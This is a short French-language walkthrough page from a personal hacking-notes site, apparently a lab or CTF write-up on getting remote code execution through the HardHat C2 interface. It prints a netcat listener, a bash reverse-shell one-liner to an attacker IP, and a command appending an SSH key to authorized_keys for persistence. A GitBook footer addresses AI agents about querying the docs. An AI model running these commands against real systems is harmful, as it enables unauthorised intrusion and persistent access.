> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/hardhatc2-cms-exploitation/hardhat-c2-remote-code-execution-rce.md).

# HardHat C2 - Exécution de code à distance (RCE)

<figure><img src="/files/1d17d22ef4038ed5ca58ebbd0a4e6c58c64a6f2c" alt=""><figcaption></figcaption></figure>

###

Dans `ImplantInteract`, l'accès au terminal est disponible. L'exécution `whoami` montre que l'utilisateur actuel est `sergej`.

<figure><img src="/files/5b74baccc645c6ba3b515147f6653afc5735c13a" alt=""><figcaption></figcaption></figure>

Démarrez un écouteur sur le port 443 pour établir un reverse shell en tant que `sergej`:

```bash
nc -nlvp 443
```

Exécutez la commande suivante pour établir la connexion inverse :

```bash
bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1"
```

Une fois connecté, ajoutez la clé SSH à `authorized_keys` pour faciliter la reconnexion :

<figure><img src="/files/87b87c13accace62de48d2ef6a85796b5471e6b8" alt="" width="563"><figcaption></figcaption></figure>

```bash
echo "your key" | tee -a ~/.ssh/authorized_keys
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/cms/hardhatc2-cms-exploitation/hardhat-c2-remote-code-execution-rce.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
